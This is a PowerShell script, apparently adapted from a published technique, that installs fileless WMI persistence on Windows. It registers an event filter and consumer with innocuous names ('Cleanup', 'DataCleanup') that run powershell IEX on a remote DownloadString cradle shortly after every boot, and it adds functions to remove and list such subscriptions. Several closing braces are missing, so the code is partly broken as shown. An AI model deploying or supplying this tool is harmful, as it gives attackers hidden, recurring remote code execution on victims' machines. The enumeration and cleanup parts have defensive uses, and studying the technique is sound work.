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Credits to @mattifestion for his awesome work on WMI and Powershell Fileless Persistence. This script is an adaptation of his work.
function Install-Persistence{
$Payload = "((new-object net.webclient).downloadstring(''))"
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
$finalPayload = "powershell.exe -nop -c `"IEX $Payload`""
# Create event filter
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventFilterName
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
QueryLanguage = 'WQL'
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
# Create CommandLineEventConsumer
$CommandLineConsumerArgs = @{
Name = $EventConsumerName
CommandLineTemplate = $finalPayload
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
# Create FilterToConsumerBinding
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
#Confirm the Event Filter was created
$EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
if ($EventCheck -ne $null) {
Write-Host "Event Filter $EventFilterName successfully written to host"
#Confirm the Event Consumer was created
$ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
if ($ConsumerCheck -ne $null) {
Write-Host "Event Consumer $EventConsumerName successfully written to host"
#Confirm the FiltertoConsumer was created
$BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""'$EventFilterName'"""
if ($BindingCheck -ne $null){
Write-Host "Filter To Consumer Binding successfully written to host"
function Remove-Persistence{
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
# Clean up Code - Comment this code out when you are installing persistence otherwise it will
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
function Check-WMI{
Write-Host "Showing All Root Event Filters"
Get-WmiObject -Namespace root/subscription -Class __EventFilter
Write-Host "Showing All CommandLine Event Consumers"
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
Write-Host "Showing All Filter to Consumer Bindings"
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding